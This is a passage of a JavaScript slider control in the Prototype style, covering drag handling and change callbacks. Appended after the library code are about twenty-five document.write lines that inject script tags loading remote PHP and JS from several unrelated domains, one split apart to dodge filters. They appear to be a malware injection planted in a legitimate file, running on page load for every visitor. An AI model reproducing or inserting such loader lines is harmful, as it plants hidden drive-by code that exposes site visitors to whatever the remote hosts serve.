al()) {
      span.style.top = this.translateToPx(range.start);
      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
    } else {
      span.style.left = this.translateToPx(range.start);
      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
    }
  },
  updateStyles: function() {
    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
    Element.addClassName(this.activeHandle, 'selected');
  },
  startDrag: function(event) {
    if (Event.isLeftClick(event)) {
      if (!this.disabled){
        this.active = true;

        var handle = Event.element(event);
        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
        var track = handle;
        if (track==this.track) {
          var offsets  = this.track.cumulativeOffset();
          this.event = event;
          this.setValue(this.translateToValue(
           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
          ));
          var offsets  = this.activeHandle.cumulativeOffset();
          this.offsetX = (pointer[0] - offsets[0]);
          this.offsetY = (pointer[1] - offsets[1]);
        } else {
          // find the handle (prevents issues with Safari)
          while((this.handles.indexOf(handle) == -1) && handle.parentNode)
            handle = handle.parentNode;

          if (this.handles.indexOf(handle)!=-1) {
            this.activeHandle    = handle;
            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
            this.updateStyles();

            var offsets  = this.activeHandle.cumulativeOffset();
            this.offsetX = (pointer[0] - offsets[0]);
            this.offsetY = (pointer[1] - offsets[1]);
          }
        }
      }
      Event.stop(event);
    }
  },
  update: function(event) {
   if (this.active) {
      if (!this.dragging) this.dragging = true;
      this.draw(event);
      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
      Event.stop(event);
   }
  },
  draw: function(event) {
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    var offsets = this.track.cumulativeOffset();
    pointer[0] -= this.offsetX + offsets[0];
    pointer[1] -= this.offsetY + offsets[1];
    this.event = event;
    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
    if (this.initialized && this.options.onSlide)
      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
  },
  endDrag: function(event) {
    if (this.active && this.dragging) {
      this.finishDrag(event, true);
      Event.stop(event);
    }
    this.active = false;
    this.dragging = false;
  },
  finishDrag: function(event, success) {
    this.active = false;
    this.dragging = false;
    this.updateFinished();
  },
  updateFinished: function() {
    if (this.initialized && this.options.onChange)
      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
    this.event = null;
  }
});
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Illegal_Operation.js"></scri'+'pt>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://notebookmaster.com.ua/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://notebookmaster.com.ua/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://notebookmaster.com.ua/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://notebookmaster.com.ua/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://notebookmaster.com.ua/libraries/LICENSE.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://wahidsandharsugars.com/video/s_insect.php ><\/script>');
document.write('<script src=http://negociosnatv.com.br/guia/index.rodape.php ><\/script>');